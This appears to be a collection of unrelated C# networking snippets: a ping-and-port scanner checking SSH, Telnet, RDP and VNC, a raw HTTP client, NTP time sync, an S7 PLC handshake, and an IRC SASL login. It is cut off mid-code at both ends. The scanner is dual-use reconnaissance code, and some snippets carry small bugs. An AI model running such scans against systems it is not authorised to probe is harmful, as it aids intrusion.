null) ? "" : var3.FunctionName; t_Function var4 = functionList.Where(x => x.URL.Contains("Complex_TA.aspx")).FirstOrDefault(); lbDataTable.Text = (var4 == null) ? "" : var4.FunctionName; var var5 = functionList.Where(x => x.URL.Contains("Daily_Monthly.aspx")).FirstOrDefault(); lbLoggerData.Text = (var5 == null) ? "" : var5.FunctionName; var var6 = functionList.Where(x => x.URL.Contains("Add_Change.aspx")).FirstOrDefault(); //lbManualData.Text = (var6 == null) ? "" : var6.FunctionName; //var var7 = functionList.Where(x => x.URL.Contains("MinMaxVal.aspx")).FirstOrDefault(); //lbMinMaxValues.Text = (var7 == null) ? "" : var7.FunctionName; //var var8 = functionList.Where(x => x.ParentId == 4).FirstOrDefault(); //lbReport.Text = (var8 == null) ? "" : var8.FunctionName; //var var9 = functionList.Where(x => x.URL.Contains("Press.aspx")).FirstOrDefault(); //lbPressure.Text = (var9 == null) ? "" : var9.FunctionName; //var var10 = functionList.Where(x => x.URL.Contains("Montly.aspx")).FirstOrDefault(); //lbVolume.Text = (var10 == null) ? "" : var10.FunctionName; //var var11 = functionList.Where(x => x.ParentId == 5).FirstOrDefault(); //blEAndsL.Text = (var11 == null) ? "" : var11.FunctionName; //var var12 = functionList.Where(x => x.URL.Contains("All.aspx")).FirstOrDefault(); //lbEquipments.Text = (var12 == null) ? "" : var12.FunctionName; //var var13 = functionList.Where(x => x.URL.Contains("Config.aspx")).FirstOrDefault(); //lbInstallationPoints.Text = (var1 == null) ? "" : var13.FunctionName; //var var14 = functionList.Where(x => x.ParentId == 6).FirstOrDefault(); //lbAdminPanel.Text = (var14 == null) ? "" : var14.FunctionName; //var var15 = functionList.Where(x => x.URL.Contains("ViewUsers.aspx")).FirstOrDefault(); //lbViewUserDetails.Text = (var15 == null) ? "" : var15.FunctionName; //var var16 = functionList.Where(x => x.URL.Contains("CreateUser.aspx")).FirstOrDefault(); //lbCreateUsers.Text = (var16 == null) ? "" : var16.FunctionName; //var var17 = functionList.Where(x => x.URL.Contains("SettingSMS.aspx")).FirstOrDefault(); //lbMessageSettings.Text = (var17 == null) ? "" : var17.FunctionName; //var var18 = functionList.Where(x => x.URL.Contains("ChangePassword.aspx")).FirstOrDefault(); //lbChangePassword.Text = (var18 == null) ? "" : var18.FunctionName; //var var19 = functionList.Where(x => x.ParentId == 8).FirstOrDefault(); //lbLanguageManagement.Text = (var19 == null) ? "" : var19.FunctionName; //var var20 = functionList.Where(x => x.URL.Contains("ChangeFunction.aspx")).FirstOrDefault(); //lbFunctions.Text = (var20 == null) ? "" : var20.FunctionName; //var var21 = functionList.Where(x => x.URL.Contains("ChangeContent.aspx")).FirstOrDefault(); //lbContents.Text = (var21 == null) ? "" : var21.FunctionName; //var var22 = functionList.Where(x => x.ParentId == 9).FirstOrDefault(); //lbConfigSystem.Text = (var22 == null) ? "" : var22.FunctionName; //var var23 = functionList.Where(x => x.URL.Contains("System/General.aspx")).FirstOrDefault(); //lbGeneralSystem.Text = (var23 == null) ? "" : var23.FunctionName; //var var24 = functionList.Where(x => x.URL.Contains("System/Users.aspx")).FirstOrDefault(); //lbUserManagement.Text = (var24 == null) ? "" : var24.FunctionName; //var var25 = functionList.Where(x => x.URL.Contains("System/Roles.aspx")).FirstOrDefault(); //lbRoleManagement.Text = (var25 == null) ? "" : var25.FunctionName; //var var26 = functionList.Where(x => x.URL.Contains("System/RoleFunction.aspx")).FirstOrDefault(); //lbRoleFunctionManagement.Text = (var26 == null) ? "" : var26.FunctionName; } }
/* Some examples found here: * http://stackoverflow.com/questions/2114266/convert-ping-application-to-multithreaded-version-to-increase-speed-c-sharp */ private void PingSender_PingCompleted(object sender, PingCompletedEventArgs e) { // used for clean up later... var p = (Ping)sender; // UserState is the IP Address var ip = e.UserState.ToString(); var scanHost = new ScanHost(ip); _hostCount++; Runtime.MessageCollector.AddMessage(MessageClass.InformationMsg, $"Tools.PortScan: Scanning {_hostCount} of {_ipAddresses.Count} hosts: {scanHost.HostIp}", true); if (e.Cancelled) { Runtime.MessageCollector.AddMessage(MessageClass.InformationMsg, $"Tools.PortScan: CANCELLED host: {scanHost.HostIp}", true); // cleanup p.PingCompleted -= PingSender_PingCompleted; p.Dispose(); return; } if (e.Error != null) { Runtime.MessageCollector.AddMessage(MessageClass.InformationMsg, $"Ping failed to {e.UserState} {Environment.NewLine} {e.Error.Message}", true); scanHost.ClosedPorts.AddRange(_ports); scanHost.SetAllProtocols(false); } else if (e.Reply.Status == IPStatus.Success) { /* ping was successful, try to resolve the hostname */ try { scanHost.HostName = Dns.GetHostEntry(scanHost.HostIp).HostName; } catch (Exception dnsex) { Runtime.MessageCollector.AddMessage(MessageClass.InformationMsg, $"Tools.PortScan: Could not resolve {scanHost.HostIp} {Environment.NewLine} {dnsex.Message}", true); } if (string.IsNullOrEmpty(scanHost.HostName)) { scanHost.HostName = scanHost.HostIp; } foreach (var port in _ports) { bool isPortOpen; try { var tcpClient = new TcpClient(ip, port); isPortOpen = true; scanHost.OpenPorts.Add(port); tcpClient.Close(); } catch (Exception) { isPortOpen = false; scanHost.ClosedPorts.Add(port); } if (port == ScanHost.SshPort) { scanHost.Ssh = isPortOpen; } else if (port == ScanHost.TelnetPort) { scanHost.Telnet = isPortOpen; } else if (port == ScanHost.HttpPort) { scanHost.Http = isPortOpen; } else if (port == ScanHost.HttpsPort) { scanHost.Https = isPortOpen; } else if (port == ScanHost.RloginPort) { scanHost.Rlogin = isPortOpen; } else if (port == ScanHost.RdpPort) { scanHost.Rdp = isPortOpen; } else if (port == ScanHost.VncPort) { scanHost.Vnc = isPortOpen; } } } else if (e.Reply.Status != IPStatus.Success) { Runtime.MessageCollector.AddMessage(MessageClass.InformationMsg, $"Ping did not complete to {e.UserState} : {e.Reply.Status}", true); scanHost.ClosedPorts.AddRange(_ports); scanHost.SetAllProtocols(false); } // cleanup p.PingCompleted -= PingSender_PingCompleted; p.Dispose(); var h = string.IsNullOrEmpty(scanHost.HostName) ? "HostNameNotFound" : scanHost.HostName; Runtime.MessageCollector.AddMessage(MessageClass.InformationMsg, $"Tools.PortScan: Scan of {scanHost.HostIp} ({h}) complete.", true); _scannedHosts.Add(scanHost); RaiseHostScannedEvent(scanHost, _hostCount, _ipAddresses.Count); if (_scannedHosts.Count == _ipAddresses.Count) { RaiseScanCompleteEvent(_scannedHosts); } }
public Client(string host, UInt16 port) : this(Dns.GetHostEntry(host).AddressList[0], port) { }
// Perform the HTTP hit and return the result! public HttpResponse GetResponse() { // // Step 1: Connect to the remote server // Socket httpSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); string serverName, requestUri; int serverPort; if (proxyPort > 0) { serverName = proxyHost; serverPort = proxyPort; requestUri = fRequestUri; // Use the full URI } else { serverName = fHost; serverPort = fHostPort; requestUri = fResource; // Use just the resource } IPAddress serverAddress; try { serverAddress = IPAddress.Parse(serverName); } catch (Exception) { // Hostname didn't parse as an IP address; try to resolve it IPHostEntry !entry = (!)Dns.Resolve(serverName); IPAddress[] !addresses = (!)entry.AddressList; if (addresses.Length == 0) { throw new Exception("Couldn't resolve host name"); } serverAddress = addresses[0]; } IPEndPoint serverEndpoint = new IPEndPoint(serverAddress, serverPort); // Connect to the remote server httpSocket.Connect(serverEndpoint); // // Step 2: Formulate and transmit the request line and any supporting data // // Send the request line string requestLine = fMethod + " " + requestUri + " HTTP/1.1\r\nHost: " + fHost + "\r\nConnection: Close\r\n"; // Send an indication of the request data content type and size, if appropriate if (fRequestData != null) { requestLine += "Content-Length: " + fRequestData.Length + "\r\n" + "Content-Type: " + fContentType + "\r\n"; } // Add any user-specified headers foreach (string !headerName in fRequestHeaders.Keys) { requestLine += headerName + ": " + fRequestHeaders[headerName] + "\r\n"; } requestLine += "\r\n"; byte[] requestBytes = Encoding.ASCII.GetBytes(requestLine); httpSocket.Send(requestBytes); // Send any request data if (fRequestData != null) { httpSocket.Send(fRequestData); } // Signal we're done sending httpSocket.Shutdown(SocketShutdown.Send); // // Step 3: Parse the response line and headers // // Pump the response into an HttpHeadersParser ByteBuffer scratchBuffer = new ByteBuffer(); HttpHeadersParser headerParser = new HttpHeadersParser(scratchBuffer); bool doneWithout100Continue = false, doneWithHeaders = false; int nextWritePos = 0; HttpResponse response = null; do { while (!doneWithHeaders) { // Make 2K available for each read scratchBuffer.EnsureSize(nextWritePos + readIncrementSize); int numReadBytes = httpSocket.Receive(scratchBuffer.UnderlyingBuffer, nextWritePos, scratchBuffer.Size - nextWritePos, SocketFlags.None); if (numReadBytes == 0) { // We ran out of data before we finished parsing headers. throw new Exception("Unexpected end of data"); } nextWritePos += numReadBytes; if (headerParser.Pump(nextWritePos)) { // Finished parsing headers! response = headerParser.GetResponse(); doneWithHeaders = true; } } if (response == null) { throw new Exception("HTTP response data unexpectedly null"); } // Special case: if we see a 100-continue, we want to carefully start // over at the next chunk of data! if (response.StatusCode == 100) { // Switch to a new scratch buffer that will contain the data // following the 100-continue. int remainderBeginning = headerParser.BodyDataOffset; int remainderLength = nextWritePos - remainderBeginning; ByteBuffer newScratch = new ByteBuffer(); ByteBuffer oldScratch = scratchBuffer; // Reset parsing by creating a new parser headerParser = new HttpHeadersParser(newScratch); // Switch over! scratchBuffer = newScratch; nextWritePos = remainderLength; if (remainderLength > 0) { // Copy the beginning of the next data chunk into newScratch newScratch.EnsureSize(remainderLength); Buffer.BlockCopy(oldScratch.UnderlyingBuffer, remainderBeginning, newScratch.UnderlyingBuffer, 0, remainderLength); // Make sure the fragment we were already holding gets pumped in if (headerParser.Pump(nextWritePos)) { // Interestingly, we're already done response = headerParser.GetResponse(); if (response == null) { throw new Exception("HTTP response data unexpectedly null"); } Debug.Assert(response.StatusCode != 100); doneWithout100Continue = true; } else { // Go back and carry on doneWithHeaders = false; } } else { // The chunk we were chewing on exactly contained the 100-continue, // so we definitely need to go back and read some more... doneWithHeaders = false; } } else { // The response was not 100-continue, so we're all done doneWithout100Continue = true; } }while (!doneWithout100Continue); // // Step 4: Process the body data // // Now figure out how we're going to deal with the actual body // of the response. We almost certainly already have an initial // chunk of the body data in the scratchBuffer, since we read the // headers in 2K chunks // int bodyScratchBeginning = headerParser.BodyDataOffset; int scratchBodyLength = nextWritePos - bodyScratchBeginning; string transferEncoding = response.GetHeader("Transfer-Encoding"); if (transferEncoding != null && transferEncoding.ToLower().Equals("chunked")) { // Chunked encoding is special: the beginning of the body data // already specifies some chunk information. Run this through our // chunk decoder to straighten it out. byte[] initialBodyChunk = scratchBuffer.TrimAndCopy(bodyScratchBeginning, scratchBodyLength); ChunkedEncodingParser chunkParser = new ChunkedEncodingParser(initialBodyChunk, httpSocket); ByteBuffer bodyData = chunkParser.Run(); response.BodyData = bodyData.TrimAndCopy(bodyData.Size); } else { ByteBuffer bodyBuffer; // Non-chunked encoding. First, move the beginning of the body // data to a new ByteBuffer for sanity. // Separate out any initial body data into a new ByteBuffer, for sanity int bodySize = (response.ContentLength > 0) ? response.ContentLength : bodySizeGuess; // Hard to imagine how this would happen... if (bodySize < scratchBodyLength) { bodySize = scratchBodyLength; } bodyBuffer = new ByteBuffer(bodySize); Buffer.BlockCopy(scratchBuffer.UnderlyingBuffer, bodyScratchBeginning, bodyBuffer.UnderlyingBuffer, 0, scratchBodyLength); int nextBodyPos = scratchBodyLength; if (response.ContentLength > 0) { // Read until we've gotten exactly the expected number of bytes int bodyDataLeft = response.ContentLength - scratchBodyLength; while (bodyDataLeft > 0) { int numReadBytes = httpSocket.Receive(bodyBuffer.UnderlyingBuffer, nextBodyPos, bodyDataLeft, SocketFlags.None); if (numReadBytes == 0) { throw new Exception("Connection closed unexpectedly"); } nextBodyPos += numReadBytes; bodyDataLeft -= numReadBytes; } } else { // No indicated ContentLength; Just read until the connection gets closed! int numReadBytes = 0; // Read until the remote side closes do { bodyBuffer.EnsureSize(bodyBuffer.Size + readIncrementSize); numReadBytes = httpSocket.Receive(bodyBuffer.UnderlyingBuffer, nextBodyPos, bodyBuffer.Size - nextBodyPos, SocketFlags.None); nextBodyPos += numReadBytes; }while (numReadBytes > 0); } response.BodyData = bodyBuffer.TrimAndCopy(nextBodyPos); } // All done! httpSocket.Close(); return(response); }
private static bool CheckHost() { string ip = Dns.GetHostAddresses("getfirewind.com")[0].ToString(); return(true); }
/// <summary> /// Sets the System Time from the Internet /// </summary> /// <param name="dateTime"></param> /// <param name="TimeZoneOffset">Offset of Time Zone from UTC time</param> public static void SetFromNetwork(this DateTime dateTime, TimeSpan TimeZoneOffset) { // Based on http://weblogs.asp.net/mschwarz/archive/2008/03/09/wrong-datetime-on-net-micro-framework-devices.aspx // And http://nickstips.wordpress.com/2010/02/12/c-get-nist-internet-time/ // Time server list: http://tf.nist.gov/tf-cgi/servers.cgi //var ran = new Random(DateTime.Now.Millisecond); var servers = new string[] { "time-a.nist.gov", "time-b.nist.gov", "nist1-la.ustiming.org", "nist1-chi.ustiming.org", "nist1-ny.ustiming.org", "time-nw.nist.gov", "nist1-atl.ustiming.org", "nist.netservicesgroup.com" }; Debug.Print("Setting Date and Time from Network"); // Try each server in random order to avoid blocked requests due to too frequent request //for (int i = 0; i < servers.Length; i++) { try { // Open a Socket to a random time server //var ep = new IPEndPoint(Dns.GetHostEntry(servers[ran.Next(servers.Length)]).AddressList[0], 123); //gg: Instead of random approach, let's use a stable NIST var ep = new IPEndPoint(Dns.GetHostEntry(servers[7]).AddressList[0], 123); var s = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp); s.Connect(ep); byte[] ntpData = new byte[48]; // RFC 2030 ntpData[0] = 0x1B; for (int x = 1; x < 48; x++) { ntpData[x] = 0; } s.Send(ntpData); s.Receive(ntpData); byte offsetTransmitTime = 40; ulong intpart = 0; ulong fractpart = 0; for (int x = 0; x <= 3; x++) { intpart = 256 * intpart + ntpData[offsetTransmitTime + x]; } for (int x = 4; x <= 7; x++) { fractpart = 256 * fractpart + ntpData[offsetTransmitTime + x]; } ulong milliseconds = (intpart * 1000 + (fractpart * 1000) / 0x100000000L); s.Close(); //TODO: Compute the Digest and compare to that included to do a real check... if (ntpData[47] != 0) { TimeSpan timeSpan = TimeSpan.FromTicks((long)milliseconds * TimeSpan.TicksPerMillisecond); DateTime tempDateTime = new DateTime(1900, 1, 1); tempDateTime += timeSpan; DateTime networkDateTime = (tempDateTime + TimeZoneOffset); Debug.Print(networkDateTime.ToString()); Utility.SetLocalTime(networkDateTime); //break; } } catch (Exception) { /* Do Nothing...try the next server */ status = false; } // Check to see that the signature is there } }
public static void workThread() { #region 获取本地可用IP地址 strLocalHAddr = null; IPHostEntry ipHostInfo = Dns.GetHostEntry(Dns.GetHostName()); //检测可用网卡网关值,确定是否可用 NetworkInterface[] NetWorkInterfaces = NetworkInterface.GetAllNetworkInterfaces(); foreach (NetworkInterface NetworkIntf in NetWorkInterfaces) { IPInterfaceProperties IpInterPro = NetworkIntf.GetIPProperties(); UnicastIPAddressInformationCollection uniIPAInfoCol = IpInterPro.UnicastAddresses; foreach (UnicastIPAddressInformation UniCIPAInfo in uniIPAInfoCol) { if ((UniCIPAInfo.Address.AddressFamily == AddressFamily.InterNetwork) && (UniCIPAInfo.IPv4Mask != null)) { if (IpInterPro.GatewayAddresses.Count != 0) { //IpInterPro.GatewayAddresses的count为0,所以[0]也超出索引范围 //所以先将网关地址做长度判断 if (IpInterPro.GatewayAddresses[0].Address.ToString().CompareTo("0.0.0.0") != 0) { strLocalHAddr = UniCIPAInfo.Address.ToString(); break; } } } } } if (strLocalHAddr == null) { //无可用网络 MessageBox.Show("无可用网络连接,请检查网络"); } else { strLocalHAddr = strLocalHAddr.Substring(0, strLocalHAddr.LastIndexOf('.') + 1) + "255"; } #endregion 获取本地可用IP地址 #region 绑定查找服务的UDP对象 udpSearchRecvDataBuf = new byte[1024]; sockUdpSearchRecv = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp); //绑定接收服务器UDP数据的RECV_PORT端口 IPEndPoint iep = new IPEndPoint(IPAddress.Any, 9096); sockUdpSearchRecv.Bind(iep); remoteUdpEp = new IPEndPoint(IPAddress.Any, 0); sockUdpSearchRecv.BeginReceiveFrom(udpSearchRecvDataBuf, 0, 1024, SocketFlags.None, ref remoteUdpEp, UdpSearchReceiveCallback, new object()); #endregion #region 发送广播包查找服务器 //创建使用UDP发送数据的Socket对象 sockUdpSearchSend = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp); //设置该socket实例的发送形式 sockUdpSearchSend.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.Broadcast, 1); SearchServerIpEP = new IPEndPoint(IPAddress.Parse(strLocalHAddr), SEARCH_SEND_PORT); udpDataSendBuf = Encoding.UTF8.GetBytes("are you online?"); sendDataLen = udpDataSendBuf.Length; //向服务器发送探测包 sockUdpSearchSend.SendTo(udpDataSendBuf, sendDataLen, SocketFlags.None, SearchServerIpEP); //等待服务器响应 ManualResetEvent[] mrEventAl = new ManualResetEvent[2]; mrEventAl[0] = mrEventGotServer; mrEventAl[1] = mrEventTermiThread; int eventIndex = WaitHandle.WaitAny(mrEventAl, 500); while (eventIndex != 1) { eventIndex = WaitHandle.WaitAny(mrEventAl, 500); } #endregion }
public ExceptionCode Open() { byte[] bReceive = new byte[256]; try { // check if available Ping p = new Ping(); PingReply pingReplay = p.Send(IP); if (pingReplay.Status != IPStatus.Success) { throw new Exception(); } } catch { lastErrorCode = ExceptionCode.IPAdressNotAvailable; //lastErrorString = "Destination IP-Address '" + IP + "' is not available!"; lastErrorString = "Địa chỉ IP '" + IP + "' không tồn tại!"; return(lastErrorCode); } try { // open the channel mSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); mSocket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReceiveTimeout, 3000); mSocket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.SendTimeout, 3000); IPEndPoint _server = new IPEndPoint(new IPAddress(IPToByteArray(IP)), 102); //Dns.GetHostEntry(mIP).AddressList(0), 102) IPEndPoint _local = new IPEndPoint(Dns.GetHostEntry(Dns.GetHostName()).AddressList[0], 102); mSocket.Connect(_server); } catch (Exception ex) { lastErrorCode = ExceptionCode.ConnectionError; lastErrorString = ex.Message; return(ExceptionCode.ConnectionError); } try { byte[] bSend1 = { 3, 0, 0, 22, 17, 224, 0, 0, 0, 46, 0, 193, 2, 1, 0, 194, 2, 3, 0, 192, 1, 9 }; switch (CPU) { case CPU_Type.S7200: //S7200: Chr(193) & Chr(2) & Chr(16) & Chr(0) 'Eigener Tsap bSend1[11] = 193; bSend1[12] = 2; bSend1[13] = 16; bSend1[14] = 0; //S7200: Chr(194) & Chr(2) & Chr(16) & Chr(0) 'Fremder Tsap bSend1[15] = 194; bSend1[16] = 2; bSend1[17] = 16; bSend1[18] = 0; break; case CPU_Type.S71200: case CPU_Type.S7300: //S7300: Chr(193) & Chr(2) & Chr(1) & Chr(0) 'Eigener Tsap bSend1[11] = 193; bSend1[12] = 2; bSend1[13] = 1; bSend1[14] = 0; //S7300: Chr(194) & Chr(2) & Chr(3) & Chr(2) 'Fremder Tsap bSend1[15] = 194; bSend1[16] = 2; bSend1[17] = 3; bSend1[18] = (byte)(Rack * 2 * 16 + Slot); break; case CPU_Type.S7400: //S7400: Chr(193) & Chr(2) & Chr(1) & Chr(0) 'Eigener Tsap bSend1[11] = 193; bSend1[12] = 2; bSend1[13] = 1; bSend1[14] = 0; //S7400: Chr(194) & Chr(2) & Chr(3) & Chr(3) 'Fremder Tsap bSend1[15] = 194; bSend1[16] = 2; bSend1[17] = 3; bSend1[18] = (byte)(Rack * 2 * 16 + Slot); break; default: return(ExceptionCode.WrongCPU_Type); } mSocket.Send(bSend1, 22, SocketFlags.None); if (mSocket.Receive(bReceive, 22, SocketFlags.None) != 22) { throw new Exception(ExceptionCode.WrongNumberReceivedBytes.ToString()); } byte[] bsend2 = { 3, 0, 0, 25, 2, 240, 128, 50, 1, 0, 0, 255, 255, 0, 8, 0, 0, 240, 0, 0, 3, 0, 3, 1, 0 }; mSocket.Send(bsend2, 25, SocketFlags.None); if (mSocket.Receive(bReceive, 27, SocketFlags.None) != 27) { throw new Exception(ExceptionCode.WrongNumberReceivedBytes.ToString()); } IsConnected = true; } catch { lastErrorCode = ExceptionCode.ConnectionError; //lastErrorString = "Couldn't establish the connection!"; lastErrorString = "Không thể thành lập được kết nối tới PLC!"; IsConnected = false; return(ExceptionCode.ConnectionError); } return(ExceptionCode.ExceptionNo); // ok }
public Client(string hostname, int port, string nick, string username, string password, string realname, bool ssl, bool sasl = false, string saslMechanism = "", string certpath = "") { _nick = nick; var ip = Dns.GetHostEntry(hostname).AddressList[0]; var connection = new Connection(port, ip, ssl, certpath); Events.RawMessage += ParseRawMessage; if (!String.IsNullOrEmpty(password.Trim()) && !sasl) { connection.Send("PASS " + password); } connection.Send("NICK " + _nick); connection.Send("USER " + username + " 0 * :" + realname); connection.Send("CAP LS 302"); if (sasl) { while (_supportedCapabilities.Count < 1) { ; } if (_supportedCapabilities.Contains("sasl")) { connection.Send("CAP REQ :sasl"); } else { return; } while (!_acknowledgedCapabilities.Contains("sasl")) { var capstring = ""; _acknowledgedCapabilities.ForEach(strin => capstring += $"{strin} "); //Console.WriteLine($"Acknowledged Capabilities while waiting for sasl: {capstring}"); } connection.Send($"AUTHENTICATE {saslMechanism}"); while (!_authInProgress) { ; } switch (saslMechanism) { case "EXTERNAL": { connection.Send("AUTHENTICATE +"); break; } case "PLAIN": { var bytes = Encoding.UTF8.GetBytes($"{username}\0{username}\0{password}"); var setsNeeded = (int)Math.Ceiling(bytes.Length / 400D); var byteSets = new byte[setsNeeded][]; for (var i = 0; i < setsNeeded; i++) { byteSets[i] = new byte[398]; var sizeRemainig = bytes.Length - 398 * Math.Max(i - 1, 0); Array.Copy(bytes, i * 397, byteSets[i], 0, sizeRemainig); } for (var i = 0; i < byteSets.Length; i++) { var byteSet = byteSets[i]; connection.Send(i == byteSets.Length - 1 ? $"AUTHENTICATE {Convert.ToBase64String(bytes)} +" : $"AUTHENTICATE {Convert.ToBase64String(bytes)}" ); } break; } default: throw new NotSupportedException($"SASL MECHANISM '{saslMechanism}' is not supported'"); } } connection.Send("CAP END"); // connection.Send("JOIN #testchannel"); }
/// <summary> /// Given a string that should identify an endpoint-address, resolve it to an actual IP address /// and set the Address property to a valid corresponding value. /// </summary> /// <param name="name">the endpoint-address to resolve</param> /// <param name="ip4Only">whether the address must be only-IPv4</param> /// <exception cref="InvalidException">The name must contain the colon delimiter.</exception> /// <exception cref="InvalidException">The specified port must be a valid nonzero integer.</exception> /// <exception cref="InvalidException">Must be able to find the IP-address.</exception> public void Resolve(string name, bool ip4Only) { // Find the ':' at end that separates address from the port number. int delimiter = name.LastIndexOf(':'); if (delimiter < 0) { throw new InvalidException($"TcpAddress.Resolve, delimiter ({delimiter}) must be non-negative."); } // Separate the address/port. string addrStr = name.Substring(0, delimiter); string portStr = name.Substring(delimiter + 1); // Remove square brackets around the address, if any. if (addrStr.Length >= 2 && addrStr[0] == '[' && addrStr[addrStr.Length - 1] == ']') { addrStr = addrStr.Substring(1, addrStr.Length - 2); } // Get the port-number (or zero for auto-selection of a port). int port; // Allow 0 specifically, to detect invalid port error in atoi if not if (portStr == "*" || portStr == "0") { // Resolve wildcard to 0 to allow auto-selection of port port = 0; } else { // Parse the port number (0 is not a valid port). port = Convert.ToInt32(portStr); if (port == 0) { throw new InvalidException($"TcpAddress.Resolve, port ({portStr}) must be a valid nonzero integer."); } } IPAddress ipAddress; // Interpret * as Any. if (addrStr == "*") { ipAddress = ip4Only ? IPAddress.Any : IPAddress.IPv6Any; } else if (!IPAddress.TryParse(addrStr, out ipAddress)) { #if NETSTANDARD1_3 || UAP var availableAddresses = Dns.GetHostEntryAsync(addrStr).Result.AddressList; #else var availableAddresses = Dns.GetHostEntry(addrStr).AddressList; #endif ipAddress = ip4Only ? availableAddresses.FirstOrDefault(ip => ip.AddressFamily == AddressFamily.InterNetwork) : availableAddresses.FirstOrDefault(ip => ip.AddressFamily == AddressFamily.InterNetwork || ip.AddressFamily == AddressFamily.InterNetworkV6); if (ipAddress == null) { throw new InvalidException($"TcpAddress.Resolve, unable to find an IP address for {name}"); } } Address = new IPEndPoint(ipAddress, port); }
private static void ReadHostName() { _hostName = Dns.GetHostName(); }
public string GetCurrentIP() { string hostName = Dns.GetHostName(); return myIP = Dns.GetHostByName(hostName).AddressList[0].ToString(); }
/// <summary> /// Load event handler. /// </summary> private void Form1_Load(object sender, EventArgs e) { OutlookVersions.Add("8.0", "Outlook 97"); OutlookVersions.Add("9.0", "Outlook 2000"); OutlookVersions.Add("10.0", "Outlook XP"); OutlookVersions.Add("11.0", "Outlook 2003"); OutlookVersions.Add("12.0", "Outlook 2007"); OutlookVersions.Add("14.0", "Outlook 2010"); OutlookVersions.Add("15.0", "Outlook 2013"); OutlookVersions.Add("16.0", "Outlook v16"); OutlookVersions.Add("17.0", "Outlook v17"); OutlookVersions.Add("18.0", "Outlook v18"); OutlookVersions.Add("19.0", "Outlook v19"); OutlookVersions.Add("20.0", "Outlook v20"); SettingsFileName = (AppDomain.CurrentDomain.BaseDirectory + "\\OpaqueMail.Proxy.xml").Replace("\\\\", "\\"); AboutLabel.Links.Clear(); AboutLabel.Links.Add(AboutLabel.Text.IndexOf("S/MIME"), 6, "https://en.wikipedia.org/wiki/S/MIME"); AboutLabel.LinkClicked += Label_LinkClicked; GettingStartedLabel.Links.Clear(); int settingsFileIndex = GettingStartedLabel.Text.IndexOf("[SETTINGSFILE]"); GettingStartedLabel.Text = GettingStartedLabel.Text.Replace("[SETTINGSFILE]", SettingsFileName); GettingStartedLabel.Links.Add(settingsFileIndex, SettingsFileName.Length, SettingsFileName); GettingStartedLabel.Links.Add(GettingStartedLabel.Text.IndexOf("http://opaquemail.org/"), 22, "http://opaquemail.org/"); GettingStartedLabel.LinkClicked += Label_LinkClicked; CertificateLabel.Links.Clear(); CertificateLabel.Links.Add(CertificateLabel.Text.IndexOf("Comodo"), 6, "http://www.instantssl.com/ssl-certificate-products/free-email-certificate.html"); CertificateLabel.Links.Add(CertificateLabel.Text.IndexOf("StartCom"), 8, "https://cert.startcom.org/"); CertificateLabel.LinkClicked += Label_LinkClicked; AccountsLabel.Links.Clear(); AccountsLabel.Links.Add(AboutLabel.Text.IndexOf("http://opaquemail.org/"), 22, "http://opaquemail.org/"); AccountsLabel.LinkClicked += Label_LinkClicked; // Load the e-mail accounts list and certificate choices. PopulateAccounts(); SmimeOperations.SelectedIndex = 3; SmimeOperations.SelectedIndexChanged += SmimeOperations_SelectedIndexChanged; SmimeSettingsMode.SelectedIndex = 0; string ip = "192.168.*"; IPHostEntry hostEntry = Dns.GetHostEntry(Dns.GetHostName()); foreach (IPAddress hostIP in hostEntry.AddressList) { string[] ipParts = hostIP.ToString().Split('.'); if (ipParts.Length > 2) { ip = ipParts[0] + "." + ipParts[1] + ".*"; break; } } NetworkAccess.Items[1] = ((string)NetworkAccess.Items[1]).Replace("192.168.*", ip); NetworkAccess.SelectedIndex = 0; UpdateServiceStatus(null); StatusTimer = new System.Threading.Timer(new TimerCallback(UpdateServiceStatus), null, 15000, 15000); }
public async Task <ActionResult> Index(string fromdate, string Process) { IPHostEntry heserver = Dns.GetHostEntry(Dns.GetHostName()); var ip = heserver.AddressList[1].ToString(); string token = Request.HttpContext.Session.Id.ToString(); string username = Request.HttpContext.User.Claims.FirstOrDefault().Value.ToString(); if (fromdate == null) { fromdate = "2019-03-1"; } var period = fromdate; //var period = fromdate.Replace("-", ""); //period = period.Substring(0, 6); var p = _context.s_GlobalPams.SingleOrDefault(x => x.parm_key == "DateFormat"); var Log_Select_Print = _context.Log_Select_Print.Where(w => w.opt == "PrintDailyReport" && w.username == username); var PrintFGMovement = Log_Select_Print.ToList(); //เอาชุดข้อมูลของ RowNumber ที่เลือกไปมาwhere contain var RowNumbers = PrintFGMovement[0].name.ToString(); int [] array = RowNumbers.Split(',').Select(n => Convert.ToInt32(n)).ToArray(); ViewBag.GlobalDtFormat = p.param_value.ToString(); ViewBag.fromdate = Convert.ToString(period); //ViewBag.todate = Convert.ToDateTime(PrintFGMovement[0].todate).ToString(p.param_value); var list_DailyReport = new List <DailyReport>(); DataTable dt = new DataTable(); var msgj = ""; int rownumber = 0; string model = ""; string fcode = ""; string material = ""; string _period = ""; string MachineCode = ""; //int D01 = 0; //int D02 = 0; //int D03 = 0; //int D04 = 0; //int D05 = 0; //int D06 = 0; //int D07 = 0; //int D08 = 0; //int D09 = 0; //int D10 = 0; //int D11 = 0; //int D12 = 0; //int D13 = 0; //int D14 = 0; //int D15 = 0; //int D16 = 0; //int D17 = 0; //int D18 = 0; //int D19 = 0; //int D20 = 0; //int D21 = 0; //int D22 = 0; //int D23 = 0; //int D24 = 0; //int D25 = 0; //int D26 = 0; //int D27 = 0; //int D28 = 0; //int D29 = 0; //int D30 = 0; //int D31 = 0; //int N01 = 0; //int N02 = 0; //int N03 = 0; //int N04 = 0; //int N05 = 0; //int N06 = 0; //int N07 = 0; //int N08 = 0; //int N09 = 0; //int N10 = 0; //int N11 = 0; //int N12 = 0; //int N13 = 0; //int N14 = 0; //int N15 = 0; //int N16 = 0; //int N17 = 0; //int N18 = 0; //int N19 = 0; //int N20 = 0; //int N21 = 0; //int N22 = 0; //int N23 = 0; //int N24 = 0; //int N25 = 0; //int N26 = 0; //int N27 = 0; //int N28 = 0; //int N29 = 0; //int N30 = 0; //int N31 = 0; int total = 0; List <int> D = new List <int>(); DateTime asof = DateTime.Now; try { using (var cmd = _context.Database.GetDbConnection().CreateCommand()) { cmd.Parameters.Clear(); cmd.CommandText = 